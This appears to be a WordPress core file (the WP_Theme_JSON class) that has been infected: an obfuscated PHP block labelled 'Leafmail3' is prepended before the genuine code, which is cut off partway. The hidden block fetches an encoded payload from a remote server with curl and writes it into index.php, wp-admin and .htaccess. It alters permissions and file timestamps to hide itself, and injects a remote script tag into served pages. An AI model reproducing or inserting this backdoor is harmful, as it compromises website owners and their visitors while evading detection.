<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * WP_Theme_JSON class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 5.8.0
 */

/**
 * Class that encapsulates the processing of structures that adhere to the theme.json spec.
 *
 * @access private
 */
class WP_Theme_JSON {

/**
	 * Container of data in theme.json format.
	 *
	 * @since 5.8.0
	 * @var array
	 */
	private $theme_json = null;

/**
	 * Holds block metadata extracted from block.json
	 * to be shared among all instances so we don't
	 * process it twice.
	 *
	 * @since 5.8.0
	 * @var array
	 */
	private static $blocks_metadata = null;

/**
	 * The CSS selector for the top-level styles.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	const ROOT_BLOCK_SELECTOR = 'body';

/**
	 * The sources of data this object can represent.
	 *
	 * @since 5.8.0
	 * @var array
	 */
	const VALID_ORIGINS = array(
		'core',
		'theme',
		'user',
	);

/**
	 * Presets are a set of values that serve
	 * to bootstrap some styles: colors, font sizes, etc.
	 *
	 * They are a unkeyed array of values such as:
	 *
	 * ```php
	 * array(
	 *   array(
	 *     'slug'      => 'unique-name-within-the-set',
	 *     'name'      => 'Name for the UI',
	 *     <value_key> => 'value'
	 *   ),
	 * )
	 * ```
	 *
	 * This contains the necessary metadata to process them:
	 *
	 * - path          => where to find the preset within the settings section
	 *
	 * - value_key     => the key that represents the value
	 *
	 * - css_var_infix => infix to use in generating the CSS Custom Property. Example:
	 *                   --wp--preset--<preset_infix>--<slug>: <preset_value>
	 *
	 * - classes      => array containing a structure with the classes to
	 *                   generate for the presets. Each class should have
	 *                   the class suffix and the property name. Example:
	 *
	 *                   .has-<slug>-<class_suffix> {
	 *                       <property_name>: <preset_value>
	 *                   }
	 *
	 * @since 5.8.0
	 * @var array
	 */
	const PRESETS_METADATA = array(
		array(
			'path'          => array( 'color', 'palette' ),
			'value_key'     => 'color',
			'css_var_infix' => 'color',
			'classes'       => array(
				array(
					'class_suffix'  => 'color',
					'property_name' => 'color',
				),
				array(
					'class_suffix'  => 'background-color',
					'property_name' => 'background-color',
				),
			),
		),
		array(
			'path'          => array( 'color', 'gradients' ),
			'value_key'     => 'gradient',
			'css_var_infix' => 'gradient',
			'classes'       => array(
				array(
					'class_suffix'  => 'gradient-background',
					'property_name' => 'background',
				),
			),
		),
		array(
			'path'          => array( 'typography', 'fontSizes' ),
			'value_key'     => 'size',
			'css_var_infix' => 'font-size',
			'classes'       => array(
				array(
					'class_suffix'  => 'font-size',
					'property_name' => 'font-size',
				),
			),
		),
	);

/**
	 * Metadata for style properties.
	 *
	 * Each property declares:
	 *
	 * - 'value': path to the value in theme.json and block attributes.
	 *
	 * @since 5.8.0
	 * @var array
	 */
	const PROPERTIES_METADATA = array(
		'background'       => array(
			'value' => array( 'color', 'gradient' ),
		),
		'background-color' => array(
			'value' => array( 'color', 'background' ),
		),
		'color'            => array(
			'value' => array( 'color', 'text' ),
		),
		'font-size'        => array(
			'value' => array( 'typography', 'fontSize' ),
		),
		'line-height'      => array(
			'value' => array( 'typography', 'lineHeight' ),
		),
		'margin'           => array(
			'value'      => array( 'spacing', 'margin' ),
			'properties' => array( 'top', 'right', 'bottom', 'left' ),
		),
		'padding'          => array(
			'value'      => array( 'spacing', 'padding' ),
			'properties' => array( 'top', 'right', 'bottom', 'left' ),
		),
	);

/**
	 * @since 5.8.0
	 * @var array
	 */
	const ALLOWED_TOP_LEVEL_KEYS = array(
		'settings',
		'styles',
		'version',
	);

/**
	 * @since 5.8.0
	 * @var array
	 */
	const ALLOWED_SETTINGS = array(
		'border'     => array(
			'customRadius' => null,
		),
		'color'      => array(
			'custom'         => null,
			'customDuotone'  => null,
			'customGradient' => null,
			'duotone'        => null,
			'gradients'      => null,
			'link'           => null,
			'palette'        => null,
		),
		'custom'     => null,
		'layout'     => array(
			'contentSize' => null,
			'wideSize'    => null,
		),
		'spacing'    => array(
			'customMargin'  => null,
			'customPadding' => null,
			'units'         => null,
		),
		'typography' => array(
			'customFontSize'   => null,
			'customLineHeight' => null,
			'dropCap'          => null,
			'fontSizes'        => null,
		),
	);

/**
	 * @since 5.8.0
	 * @var array
	 */
	const ALLOWED_STYLES = array(
		'border'     => array(
			'radius' => null,
		),
		'color'      => array(
			'background' => null,
			'gradient'   => null,
			'text'       => null,
		),
		'spacing'    => array(
			'margin'  => array(
				'top'    => null,
				'right'  => null,
				'bottom' => null,
				'left'   => null,
			),
			'padding' => array(
				'bottom' => null,
				'left'   => null,
				'right'  => null,
				'top'    => null,
			),
		),
		'typography' => array(
			'fontSize'   => null,
			'lineHeight' => null,
		),
	);

/**
	 * @since 5.8.0
	 * @var array
	 */
	const ELEMENTS = array(
		'link' => 'a',
		'h1'   => 'h1',
		'h2'   => 'h2',
		'h3'   => 'h3',
		'h4'   => 'h4',
		'h5'   => 'h5',
		'h6'   => 'h6',
	);

/**
	 * @since 5.8.0
	 * @var int
	 */
	const LATEST_SCHEMA = 1;

/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 *
	 * @param array $theme_json A structure that follows the theme.json schema.
	 * @param string $origin    Optional. What source of data this object represents.
	 *                          One of 'core', 'theme', or 'user'. Default 'theme'.
	 */
	public function __construct( $theme_json = array(), $origin = 'theme' ) {
		if ( ! in_array( $origin, self::VALID_ORIGINS, true ) ) {
			$origin = 'theme';
		}

if ( ! isset( $theme_json['version'] ) || self::LATEST_SCHEMA !== $theme_json['version'] ) {
			$this->theme_json = array();
			return;
		}

$this->theme_json = self::sanitize( $theme_json );

// Internally, presets are keyed by origin.
		$nodes = self::get_setting_nodes( $this->theme_json );
		foreach ( $nodes as $node ) {
			foreach ( self::PRESETS_METADATA as $preset ) {
				$path   = array_merge( $node['path'], $preset['path'] );
				$preset = _wp_array_get( $this->theme_json, $path, null );
				if ( null !== $preset ) {
					_wp_array_set( $this->theme_json, $path, array( $origin => $preset ) );
				}
			}
		}
	}

/**
	 * Sanitizes the input according to the schemas.
	 *
	 * @since 5.8.0
	 *
